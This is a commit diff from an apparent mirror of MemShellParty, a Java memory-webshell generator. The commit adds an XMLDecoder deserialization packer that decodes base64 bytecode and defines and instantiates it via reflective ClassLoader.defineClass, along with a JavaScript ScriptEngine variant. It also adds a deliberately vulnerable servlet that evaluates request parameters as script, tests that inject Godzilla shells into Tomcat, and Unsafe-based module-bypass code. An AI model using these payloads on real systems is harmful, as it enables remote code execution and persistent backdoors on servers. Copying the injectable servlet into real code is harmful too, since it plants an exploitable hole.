mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
feat: support XMLDecoderDefineClass packer
This commit is contained in:
+1
-1
@@ -346,7 +346,7 @@ public class ShellAssertionTool {
|
||||
case JavaCommonsCollections4 -> VulTool.postData(url + "/java_deserialize/cc40", content);
|
||||
case HessianDeserialize -> VulTool.postData(url + "/hessian", content);
|
||||
case Hessian2Deserialize -> VulTool.postData(url + "/hessian2", content);
|
||||
case XMLDecoder -> VulTool.postData(url + "/xmlDecoder", content);
|
||||
case XMLDecoderScriptEngine, XMLDecoderDefineClass -> VulTool.postData(url + "/xmlDecoder", content);
|
||||
case Base64 -> VulTool.postData(url + "/b64", content);
|
||||
case XxlJob -> VulTool.xxlJobExecutor(url + "/run", content);
|
||||
case H2, H2JS, H2Javac -> VulTool.postData(url + "/jdbc", content);
|
||||
|
||||
+2
-1
@@ -51,7 +51,8 @@ public class Tomcat8DeserializeContainerTest {
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JavaCommonsCollections4),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.HessianDeserialize),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Hessian2Deserialize),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XMLDecoder)
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XMLDecoderScriptEngine),
|
||||
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XMLDecoderDefineClass)
|
||||
);
|
||||
}
|
||||
|
||||
|
||||
@@ -41,7 +41,9 @@ import com.reajason.javaweb.packer.spel.SpELScriptEnginePacker;
|
||||
import com.reajason.javaweb.packer.spel.SpELSpringIOUtilsGzipPacker;
|
||||
import com.reajason.javaweb.packer.spel.SpELSpringUtilsPacker;
|
||||
import com.reajason.javaweb.packer.velocity.VelocityPacker;
|
||||
import com.reajason.javaweb.packer.xmldecoder.XMLDecoderDefineClassPacker;
|
||||
import com.reajason.javaweb.packer.xmldecoder.XMLDecoderPacker;
|
||||
import com.reajason.javaweb.packer.xmldecoder.XMLDecoderScriptEnginePacker;
|
||||
import lombok.Getter;
|
||||
|
||||
import java.util.List;
|
||||
@@ -112,6 +114,8 @@ public enum Packers {
|
||||
Velocity(new VelocityPacker()),
|
||||
JinJava(new JinJavaPacker()),
|
||||
XMLDecoder(new XMLDecoderPacker()),
|
||||
XMLDecoderScriptEngine(new XMLDecoderScriptEnginePacker(), XMLDecoderPacker.class),
|
||||
XMLDecoderDefineClass(new XMLDecoderDefineClassPacker(), XMLDecoderPacker.class),
|
||||
|
||||
/**
|
||||
* Java 反序列化打包器
|
||||
|
||||
+45
@@ -0,0 +1,45 @@
|
||||
package com.reajason.javaweb.packer.xmldecoder;
|
||||
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/7/22
|
||||
*/
|
||||
public class XMLDecoderDefineClassPacker implements Packer {
|
||||
String template = "<java>\n" +
|
||||
" <object class=\"javax.xml.bind.DatatypeConverter\" method=\"parseBase64Binary\" id=\"code\">\n" +
|
||||
" <string>{{base64Str}}></string>\n" +
|
||||
" </object>\n" +
|
||||
" <class id=\"clazz\">java.lang.ClassLoader</class>\n" +
|
||||
" <void idref=\"clazz\">\n" +
|
||||
" <void method=\"getDeclaredMethod\" id=\"defineClass\">\n" +
|
||||
" <string>defineClass</string>\n" +
|
||||
" <array class=\"java.lang.Class\" length=\"3\">\n" +
|
||||
" <void index=\"0\"><class>[B</class></void>\n" +
|
||||
" <void index=\"1\"><class>int</class></void>\n" +
|
||||
" <void index=\"2\"><class>int</class></void>\n" +
|
||||
" </array>\n" +
|
||||
" <void method=\"setAccessible\"><boolean>true</boolean></void>\n" +
|
||||
" </void>\n" +
|
||||
" </void>\n" +
|
||||
" <object method=\"invoke\" class=\"sun.reflect.misc.MethodUtil\">\n" +
|
||||
" <object idref=\"defineClass\"/>\n" +
|
||||
" <object class=\"java.lang.ClassLoader\" method=\"getSystemClassLoader\"/>\n" +
|
||||
" <array class=\"java.lang.Object\" length=\"3\">\n" +
|
||||
" <void index=\"0\"><object idref=\"code\"/></void>\n" +
|
||||
" <void index=\"1\"><int>0</int></void>\n" +
|
||||
" <void index=\"2\"><int>{{byteCodeLength}}</int></void>\n" +
|
||||
" </array>\n" +
|
||||
" <void method=\"newInstance\"/>\n" +
|
||||
" </object>\n" +
|
||||
"</java>";
|
||||
|
||||
@Override
|
||||
public String pack(ClassPackerConfig config) {
|
||||
return template
|
||||
.replace("{{base64Str}}", config.getClassBytesBase64Str())
|
||||
.replace("{{byteCodeLength}}", String.valueOf(config.getClassBytes().length));
|
||||
}
|
||||
}
|
||||
@@ -1,28 +1,11 @@
|
||||
package com.reajason.javaweb.packer.xmldecoder;
|
||||
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import com.reajason.javaweb.packer.AggregatePacker;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/7/22
|
||||
*/
|
||||
public class XMLDecoderPacker implements Packer {
|
||||
String template = "<java>\n" +
|
||||
" <object class=\"javax.script.ScriptEngineManager\">\n" +
|
||||
" <void method=\"getEngineByName\">\n" +
|
||||
" <string>js</string>\n" +
|
||||
" <void method=\"eval\">\n" +
|
||||
" <string>{{script}}</string>\n" +
|
||||
" </void>\n" +
|
||||
" </void>\n" +
|
||||
" </object>\n" +
|
||||
"</java>";
|
||||
public class XMLDecoderPacker implements AggregatePacker {
|
||||
|
||||
@Override
|
||||
public String pack(ClassPackerConfig config) {
|
||||
String script = Packers.ScriptEngine.getInstance().pack(config);
|
||||
return template.replace("{{script}}", script);
|
||||
}
|
||||
}
|
||||
|
||||
+28
@@ -0,0 +1,28 @@
|
||||
package com.reajason.javaweb.packer.xmldecoder;
|
||||
|
||||
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||
import com.reajason.javaweb.packer.Packer;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/7/22
|
||||
*/
|
||||
public class XMLDecoderScriptEnginePacker implements Packer {
|
||||
String template = "<java>\n" +
|
||||
" <object class=\"javax.script.ScriptEngineManager\">\n" +
|
||||
" <void method=\"getEngineByName\">\n" +
|
||||
" <string>js</string>\n" +
|
||||
" <void method=\"eval\">\n" +
|
||||
" <string>{{script}}</string>\n" +
|
||||
" </void>\n" +
|
||||
" </void>\n" +
|
||||
" </object>\n" +
|
||||
"</java>";
|
||||
|
||||
@Override
|
||||
public String pack(ClassPackerConfig config) {
|
||||
String script = Packers.ScriptEngine.getInstance().pack(config);
|
||||
return template.replace("{{script}}", script);
|
||||
}
|
||||
}
|
||||
@@ -2,7 +2,6 @@ import org.junit.jupiter.api.Test;
|
||||
|
||||
import java.beans.XMLDecoder;
|
||||
import java.io.ByteArrayInputStream;
|
||||
import java.util.Base64;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
@@ -32,8 +31,25 @@ class XmlDecoderServletTest {
|
||||
" </void>\n" +
|
||||
" </object>\n" +
|
||||
"</java>";
|
||||
String xml2 = "<java>\n" +
|
||||
" <object class=\"javax.xml.bind.DatatypeConverter\" method=\"parseBase64Binary\" id=\"byteCode\">\n" +
|
||||
" <string>aGVsbG8K></string>\n" +
|
||||
" </object>\n" +
|
||||
" <class id=\"classLoaderClazz\">java.lang.ClassLoader</class>\n" +
|
||||
" <void idref=\"classLoaderClazz\">\n" +
|
||||
" <void method=\"getDeclaredMethod\" id=\"defineClass\">\n" +
|
||||
" <string>defineClass</string>\n" +
|
||||
" <array class=\"java.lang.Class\" length=\"3\">\n" +
|
||||
" <void index=\"0\"><class>[B</class></void>\n" +
|
||||
" <void index=\"1\"><class>int</class></void>\n" +
|
||||
" <void index=\"2\"><class>int</class></void>\n" +
|
||||
" </array>\n" +
|
||||
" <void method=\"setAccessible\"><boolean>true</boolean></void>\n" +
|
||||
" </void>\n" +
|
||||
" </void>\n" +
|
||||
"</java>";
|
||||
try {
|
||||
ByteArrayInputStream inputStream = new ByteArrayInputStream(xml1.getBytes());
|
||||
ByteArrayInputStream inputStream = new ByteArrayInputStream(xml2.getBytes());
|
||||
XMLDecoder xmlDecoder = new XMLDecoder(inputStream);
|
||||
xmlDecoder.readObject();
|
||||
xmlDecoder.close();
|
||||
|
||||
@@ -30,10 +30,11 @@ dependencies {
|
||||
implementation("org.springframework:spring-expression:4.3.0.RELEASE")
|
||||
providedCompile("de.odysseus.juel:juel-api:2.2.7")
|
||||
providedCompile("javax.servlet:javax.servlet-api:3.1.0")
|
||||
testImplementation(platform("org.junit:junit-bom:5.11.4"))
|
||||
testImplementation("org.junit.jupiter:junit-jupiter")
|
||||
testImplementation(libs.junit.jupiter)
|
||||
testRuntimeOnly(libs.junit.platform.launcher)
|
||||
}
|
||||
|
||||
tasks.test {
|
||||
useJUnitPlatform()
|
||||
}
|
||||
|
||||
|
||||
@@ -4,14 +4,20 @@ plugins {
|
||||
|
||||
java {
|
||||
toolchain {
|
||||
languageVersion = JavaLanguageVersion.of(8)
|
||||
languageVersion = JavaLanguageVersion.of(11)
|
||||
}
|
||||
sourceCompatibility = JavaVersion.VERSION_1_8
|
||||
targetCompatibility = JavaVersion.VERSION_1_8
|
||||
sourceCompatibility = JavaVersion.VERSION_11
|
||||
targetCompatibility = JavaVersion.VERSION_11
|
||||
}
|
||||
|
||||
dependencies {
|
||||
implementation("commons-fileupload:commons-fileupload:1.5")
|
||||
implementation("commons-beanutils:commons-beanutils:1.9.3")
|
||||
providedCompile("jakarta.servlet:jakarta.servlet-api:5.0.0")
|
||||
}
|
||||
testImplementation(libs.junit.jupiter)
|
||||
testRuntimeOnly(libs.junit.platform.launcher)
|
||||
}
|
||||
|
||||
tasks.test {
|
||||
useJUnitPlatform()
|
||||
}
|
||||
|
||||
@@ -0,0 +1,27 @@
|
||||
package jakarta;
|
||||
|
||||
import jakarta.servlet.ServletException;
|
||||
import jakarta.servlet.http.HttpServlet;
|
||||
import jakarta.servlet.http.HttpServletRequest;
|
||||
import jakarta.servlet.http.HttpServletResponse;
|
||||
|
||||
import javax.script.ScriptEngineManager;
|
||||
import javax.script.ScriptException;
|
||||
import java.io.IOException;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/3
|
||||
*/
|
||||
public class ScriptEngineServlet extends HttpServlet {
|
||||
@Override
|
||||
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
|
||||
String data = req.getParameter("data");
|
||||
try {
|
||||
Object eval = new ScriptEngineManager().getEngineByName("js").eval(data);
|
||||
resp.getWriter().println(eval.toString());
|
||||
} catch (ScriptException e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -45,6 +45,15 @@
|
||||
<url-pattern>/b64</url-pattern>
|
||||
</servlet-mapping>
|
||||
|
||||
<servlet>
|
||||
<servlet-name>js</servlet-name>
|
||||
<servlet-class>jakarta.ScriptEngineServlet</servlet-class>
|
||||
</servlet>
|
||||
<servlet-mapping>
|
||||
<servlet-name>js</servlet-name>
|
||||
<url-pattern>/js</url-pattern>
|
||||
</servlet-mapping>
|
||||
|
||||
<filter>
|
||||
<filter-name>empty</filter-name>
|
||||
<filter-class>jakarta.EmptyFilter</filter-class>
|
||||
|
||||
@@ -0,0 +1,52 @@
|
||||
package jakarta;
|
||||
|
||||
import org.junit.jupiter.api.Test;
|
||||
|
||||
import javax.script.ScriptEngineManager;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2025/7/22
|
||||
*/
|
||||
class ScriptEngineServletTest {
|
||||
|
||||
@Test
|
||||
void test() throws Exception {
|
||||
System.out.println(System.getProperty("java.version"));
|
||||
System.out.println(new ScriptEngineManager().getEngineByName("JavaScript").eval("var className = new java.lang.Exception().getStackTrace()[0].getClassName();" +
|
||||
"var clazz = java.lang.Class.forName(className);" +
|
||||
"print(clazz.getSuperclass());" +
|
||||
" var unsafe = null;\n" +
|
||||
" var rawModule = null;\n" +
|
||||
" var offset = 48;\n" +
|
||||
" var getAndSetObjectM = null;\n" +
|
||||
" try {\n" +
|
||||
" var unsafeClass = java.lang.Class.forName(\"sun.misc.Unsafe\");\n" +
|
||||
" var unsafeField = unsafeClass.getDeclaredField(\"theUnsafe\");\n" +
|
||||
" unsafeField.setAccessible(true);\n" +
|
||||
" unsafe = unsafeField.get(null);\n" +
|
||||
" rawModule = java.lang.Class.class.getMethod(\"getModule\").invoke(clazz.getSuperclass(), []);\n" +
|
||||
"print(rawModule);" +
|
||||
" var module = java.lang.Class.class.getMethod(\"getModule\").invoke(java.lang.Object.class, []);\n" +
|
||||
"print(module);" +
|
||||
" var objectFieldOffsetM = unsafe.getClass().getMethod(\"objectFieldOffset\", java.lang.reflect.Field.class);\n" +
|
||||
" offset = objectFieldOffsetM.invoke(unsafe, java.lang.Class.class.getDeclaredField(\"module\"));\n" +
|
||||
" getAndSetObjectM = unsafe.getClass().getMethod(\"getAndSetObject\", java.lang.Object.class, java.lang.Long.TYPE, java.lang.Object.class);\n" +
|
||||
" getAndSetObjectM.invoke(unsafe, clazz.getSuperclass(), offset, module);\n" +
|
||||
"print(new java.lang.Exception().getStackTrace()[0].getClassName());print(new java.lang.Exception().getStackTrace()[0].getClassName());print(new java.lang.Exception().getStackTrace()[0].getClassName());" +
|
||||
"print(java.lang.Class.class.getMethod(\"getModule\").invoke(clazz.getSuperclass(), []));" +
|
||||
" } catch (ignored) {\n" +
|
||||
"ignored.printStackTrace();\n" +
|
||||
" }" +
|
||||
"var clsByteArray = (new java.lang.String(\"a\").getBytes().getClass());" +
|
||||
"var clsString = java.lang.Class.forName(\"java.lang.String\");" +
|
||||
"var clsInt = java.lang.Integer.TYPE;" +
|
||||
"print(new java.lang.Exception().getStackTrace()[0].getClassName());" +
|
||||
"print(new java.lang.Exception().getStackTrace()[0].getClassName());" +
|
||||
"print(new java.lang.Exception().getStackTrace()[0].getClassName());" +
|
||||
"var defineClass = java.lang.Class.forName(\"java.lang.ClassLoader\").getDeclaredMethod(\"defineClass\", [clsString, clsByteArray, clsInt, clsInt]);" +
|
||||
"defineClass.setAccessible(true);"
|
||||
)
|
||||
);
|
||||
}
|
||||
}
|
||||
@@ -14,4 +14,10 @@ dependencies {
|
||||
implementation("commons-fileupload:commons-fileupload:1.3.3")
|
||||
implementation("commons-beanutils:commons-beanutils:1.9.2")
|
||||
providedCompile("javax.servlet:servlet-api:2.5")
|
||||
testImplementation(libs.junit.jupiter)
|
||||
testRuntimeOnly(libs.junit.platform.launcher)
|
||||
}
|
||||
|
||||
tasks.test {
|
||||
useJUnitPlatform()
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user